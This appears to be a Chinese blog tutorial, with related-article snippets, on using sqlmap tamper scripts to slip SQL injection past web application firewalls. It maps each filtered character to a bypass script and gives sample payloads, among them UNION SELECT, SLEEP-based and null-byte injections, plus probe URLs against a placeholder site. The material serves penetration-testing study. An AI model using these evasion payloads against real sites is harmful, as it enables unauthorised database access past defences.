sql注入之tamper绕过WAF防火墙

### 现象:

当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。利用sqlmap中的tamper给我们带来了很多防过滤的脚本绕过。

提示“输入内容存在危险字符,已经被拦截”

提示“请不要尝试在参数中包含非法字符尝试注入”

### 判断我们使用那种脚本

1,id=1空格      测试空格
    2,id=1%201=1     测试等号
    3,id=1%201=1 select 测试select
    ......

### 字符被过滤了,使用的py

1,空格被过滤了---->[space2commnet.py]()

* Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users

空格被过滤了----->[space2bash.py]()
 
   空格被过滤了----->[space2morebash.py]()---->#代替
    
   空格被过滤了----->[space2plus.py]()------+代替

2, 单引号被过滤了--->[apostrophemask.py]()---->utf_8代替引号

双引号绕过---->[apostrophenullencode.py]()

Example:
    tamper("1 AND ‘1‘=‘1")
    ‘1 AND %00%271%00%27=%00%271‘

3,等号被过滤了----->[equaltolike.py]()------>like代替等号

Example:
    * Input: SELECT * FROM users WHERE id=1
    * Output: SELECT * FROM users WHERE id LIKE 1

4,>被过滤了------>[greatest.py]()-------->用GREATEST代替

Example:
    (‘1 AND A > B‘)
    ‘1 AND GREATEST(A,B+1)=A‘

------->[between.py]()

Example: 
    (‘1 AND A > B--‘) 
    ‘1 AND A NOT BETWEEN 0 AND B--‘

5,双引号,替换字符和双引号被过滤--->[apostrophenullencode.py]()

Example:
    ("1 AND ‘1‘=‘1")
    ‘1 AND %00%271%00%27=%00%271‘

6,数据库是mysql时--->[halfversionedmorekeywords.py]()

6,加载零字节字符----->[appendnullbyte.py]()

Example: (‘1 AND 1=1‘) ‘1 AND 1=1%00‘

url编码转换------>[charencode.py]()

Example:
    * Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

字符串 unicode 编码绕过--->[charunicodeencode.py]()

Example:
    * Input: SELECT FIELD%20FROM TABLE
    * Output:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046

大小写的转换----->[randomcase.py]()

Input: INSERT
    Output: InsERt

宽字符绕过---->[unmagicquotes.py]()

Example:
    * Input: 1′ AND 1=1
    * Output: 1%bf%27 AND 1=1–%20

用/**/分割sql关键字--->[randomcomments.py]()

Example:
    ‘INSERT’ becomes ‘IN//S//ERT’

关键字前加注释绕过---->[versionedmorekeywords.py]()

Example:
    * Input: 1 UNION ALL SELECT NULL, NULL,
    CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
    CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*
    /(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

用base64绕过

Example:
    ("1‘ AND SLEEP(5)#")
    ‘MScgQU5EIFNMRUVQKDUpIw==‘

这里有两份汇总的文件,大家需要的可以下载一下。

后期会继续添加的,有错误或者更好的,可以留言,大家相互学习!!

时间: 2024-12-20 14:23:27

sql注入之tamper绕过WAF防火墙的相关文章

sqlmap注入之tamper绕过WAF脚本列表

本文作者:i春秋作者--玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrophenullencode.py用非法双字节unicode字符替换单引号字符 appendnullbyte.py在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 between.py分别用"NOT BETWEEN 0 AND #&q

SQL注入和XSS bypass waf 测试向量

1. 识别脆弱点 http://www.site.com.tr/uyg.asp?id=123'+union+selec+1,2,3-- http://www.site.com.tr/uyg.asp?id=123' http://www.site.com.tr/uyg.asp?id=123<12("/> 2. HTTP参数污染(HPP) http://www.site.com.tr/uyg.asp?id=123&id=456 http://www.site.com.tr/uyg

ModSecurity SQL注入攻击 – 深度绕过技术挑战

ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击.本文主要介绍了针对开源WAF的一次渗透测试比赛中的思路. 1. 文章背景 ModSecurity SQL Injection Challenge(ModSecurity发起的一个针对开源WAF的一次渗透测试比赛

sqlmap tamper 绕过waf

01. apostrophemask.py 用UTF-8全角字符替换单引号字符 02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 03. appendnullbyte.py 在payload末尾添加空字符编码 04. base64encode.py 对给定的payload全部字符使用Base64编码 05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

【转】SQL注入和XSS bypass waf 测试向量

原文 http://www.cnblogs.com/r00tgrok/articles/3860093.html 1. 识别脆弱点 http://www.site.com.tr/uyg.asp?id=123'+union+selec+1,2,3-- http://www.site.com.tr/uyg.asp?id=123' http://www.site.com.tr/uyg.asp?id=123<12("/> 2. HTTP参数污染(HPP) http://www.site.co

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

深入了解SQL注入绕过waf和过滤机制(转)

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

SQL注入防御绕过

一.宽字节注入1.什么是宽字节GB2312.GBK.GB18030.BIG5等这些都是常说的宽字节,实际为两字节 2.宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭 mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围 注入方法:在注入点后键入%df

Bypass ngx_lua_waf SQL注入防御(多姿势)

0x00 前言 ? ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(from|limit) (?:(union(.*?)select)) (?:from\W+information_schema\W) 这边主要分享三种另类思路,Bypass ngx_lua_waf SQL注入防御. 0x01 环境搭建 github源码:https://github.com/lov